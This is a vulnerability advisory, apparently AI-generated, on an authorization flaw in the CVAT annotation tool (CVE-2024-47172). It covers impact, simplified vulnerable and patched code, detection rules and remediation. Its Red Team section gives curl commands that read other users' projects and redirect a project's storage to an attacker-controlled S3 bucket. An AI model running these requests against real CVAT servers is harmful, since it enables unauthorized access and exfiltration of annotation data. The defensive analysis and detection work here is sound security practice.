CVE-2024-47172

Executive Summary

CVE-2024-47172 is an information disclosure and unauthorized modification vulnerability in the Computer Vision Annotation Tool (CVAT), an open-source interactive video and image annotation platform. An authenticated attacker with a valid CVAT account can exploit this flaw to retrieve sensitive information about any project, task, job, or membership resource on the CVAT instance. The exposed data is identical to what a legitimate GET request would return for that resource. Additionally, the attacker can alter the default source and target storage configurations associated with any project or task. This vulnerability arises from insufficient authorization checks on API endpoints, allowing low-privileged users to access and modify resources they should not have permissions for. The CVSS score is 5.4 (Medium), with a low EPSS probability of 0.0%, indicating limited active exploitation in the wild. The vendor has released a fix in CVAT version 2.19.1.

Supply Chain & Package Security

CVAT is distributed as a Python package via PyPI (cvat-sdk) and as a Docker container image. Organizations using CVAT should verify they are not using a vulnerable version (< 2.19.1) and update immediately. The vulnerability affects the core server-side authorization logic, not the client SDK directly, but any deployment using a vulnerable server version is at risk.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): Low (L) – An attacker needs a valid CVAT account (any role) to exploit.
• User Interaction (UI): None (N) – No user interaction is required.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the CVAT application.
• Confidentiality Impact (C): Low (L) – Limited information disclosure (project/task metadata, storage configs).
• Integrity Impact (I): Low (L) – Attacker can modify storage configurations, but not annotation data directly.
• Availability Impact (A): None (N) – No denial-of-service impact.

Threat Level: Medium. While the CVSS score is moderate, the ability to alter storage configurations could lead to data exfiltration or corruption if storage backends are misconfigured.

Deep Dive & Mechanics

The vulnerability resides in the CVAT REST API endpoints that handle project, task, job, and membership resources. The server fails to properly enforce authorization checks for certain HTTP methods (e.g., GET, PATCH) on these endpoints. Specifically, the django-rules permission system is not correctly applied to all views, allowing any authenticated user to:

1. Retrieve resource details: By sending a GET request to /api/projects/{id}, /api/tasks/{id}, /api/jobs/{id}, or /api/memberships/{id}, an attacker can obtain metadata such as project name, description, owner, creation date, and associated storage configurations.
2. Modify storage configurations: By sending a PATCH request to /api/projects/{id} or /api/tasks/{id} with a payload containing source_storage or target_storage fields, an attacker can change the default storage backend (e.g., from local to an attacker-controlled S3 bucket). This could lead to data exfiltration or corruption if the storage is used for annotation data.

The root cause is a missing permission check in the viewset's get_queryset method or in the specific action handlers. The fix in CVAT 2.19.1 adds proper permission checks to ensure that only users with the appropriate role (e.g., owner, admin, or assigned) can access or modify these resources.

Vulnerable vs. Patched Code

Vulnerable Code (CVAT < 2.19.1):

# cvat/apps/engine/views.py (simplified)
class ProjectViewSet(viewsets.ModelViewSet):
    queryset = Project.objects.all()
    serializer_class = ProjectSerializer
    permission_classes = [IsAuthenticated]

    def get_queryset(self):
        # Missing permission filter - returns all projects
        return Project.objects.all()

Patched Code (CVAT >= 2.19.1):

# cvat/apps/engine/views.py (simplified)
class ProjectViewSet(viewsets.ModelViewSet):
    queryset = Project.objects.all()
    serializer_class = ProjectSerializer
    permission_classes = [IsAuthenticated]

    def get_queryset(self):
        # Added permission filter - only returns projects user has access to
        user = self.request.user
        if user.is_admin:
            return Project.objects.all()
        else:
            return Project.objects.filter(
                Q(owner=user) | Q(assignees=user) | Q(organization__members=user)
            )

The patched version ensures that the get_queryset method filters resources based on the user's permissions, preventing unauthorized access and modification.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid CVAT account on a vulnerable instance (version < 2.19.1).
• Network access to the CVAT API endpoint.

Exploitation Steps:

1. Information Disclosure:

   # Retrieve all projects (including those not owned by attacker)
   curl -X GET "https://target-cvat.example.com/api/projects" \
        -H "Authorization: Token <attacker_token>"
   
   # Retrieve a specific project's details
   curl -X GET "https://target-cvat.example.com/api/projects/42" \
        -H "Authorization: Token <attacker_token>"
   

2. Storage Configuration Modification:

   # Change the source storage of a project to an attacker-controlled S3 bucket
   curl -X PATCH "https://target-cvat.example.com/api/projects/42" \
        -H "Authorization: Token <attacker_token>" \
        -H "Content-Type: application/json" \
        -d '{"source_storage": {"type": "s3", "bucket": "attacker-bucket", "key": "access_key", "secret_key": "secret"}}'
   

Expected Outcome: The attacker gains unauthorized access to project metadata and can redirect storage to a malicious backend, potentially exfiltrating future annotation data.

Blue Team

Detection & Response:

1. Monitor API Access Logs: Look for GET or PATCH requests to /api/projects/, /api/tasks/, /api/jobs/, or /api/memberships/ from users who are not the owner or assignee of the resource.
2. Alert on Storage Configuration Changes: Monitor for PATCH requests that modify source_storage or target_storage fields, especially if the storage type changes to an external or unknown backend.
3. User Behavior Analytics: Flag users who access a large number of projects/tasks in a short period, as this may indicate reconnaissance.

Honeypot Setup:

• Deploy a fake CVAT instance with a dummy project containing decoy storage credentials. Monitor for any access to this project by unauthorized users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/projects/, /api/tasks/, /api/jobs/, or /api/memberships/ from low-privileged users.
  • HTTP PATCH requests to the same endpoints with source_storage or target_storage fields.
• Log IOCs:
  • CVAT server logs showing PermissionDenied errors for users attempting to access resources they shouldn't (if patched).
  • Unusual storage backend changes in audit logs.
• File IOCs:
  • None specific to this CVE, but monitor for unexpected files in storage backends.

Detection Engineering

YARA Rule

rule CVE_2024_47172_CVAT_InfoDisclosure {
    meta:
        description = "Detects attempts to exploit CVE-2024-47172 in CVAT by looking for unauthorized API access patterns"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-47172"
    strings:
        $api_path = "/api/projects/" nocase
        $api_path2 = "/api/tasks/" nocase
        $api_path3 = "/api/jobs/" nocase
        $api_path4 = "/api/memberships/" nocase
        $storage_field = "source_storage" nocase
        $storage_field2 = "target_storage" nocase
    condition:
        any of ($api_path*) and any of ($storage_field*)
}

Sigma Rule

title: CVE-2024-47172 CVAT Unauthorized API Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized GET or PATCH requests to CVAT API endpoints for projects, tasks, jobs, or memberships.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-47172
logsource:
    category: webserver
    product: cvat
detection:
    selection:
        http_method:
            - 'GET'
            - 'PATCH'
        url_path:
            - '/api/projects/*'
            - '/api/tasks/*'
            - '/api/jobs/*'
            - '/api/memberships/*'
    condition: selection
falsepositives:
    - Legitimate admin or owner actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-47172 CVAT Unauthorized API Access"; flow:to_server; http.method; content:"GET"; http.uri; content:"/api/projects/"; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-47172 CVAT Storage Modification Attempt"; flow:to_server; http.method; content:"PATCH"; http.uri; content:"/api/projects/"; nocase; http.request_body; content:"source_storage"; nocase; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade CVAT: Update to version 2.19.1 or later. This is the only complete fix.
2. Restrict API Access: If immediate upgrade is not possible, use a Web Application Firewall (WAF) to block PATCH requests to /api/projects/ and /api/tasks/ from non-admin users.
3. Review User Accounts: Audit all CVAT accounts and remove any that are not needed.

Long-Term Mitigations:

• Implement network segmentation to isolate CVAT instances from the public internet.
• Enable detailed audit logging for all API requests and monitor for suspicious activity.
• Regularly review and update authorization policies in CVAT.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.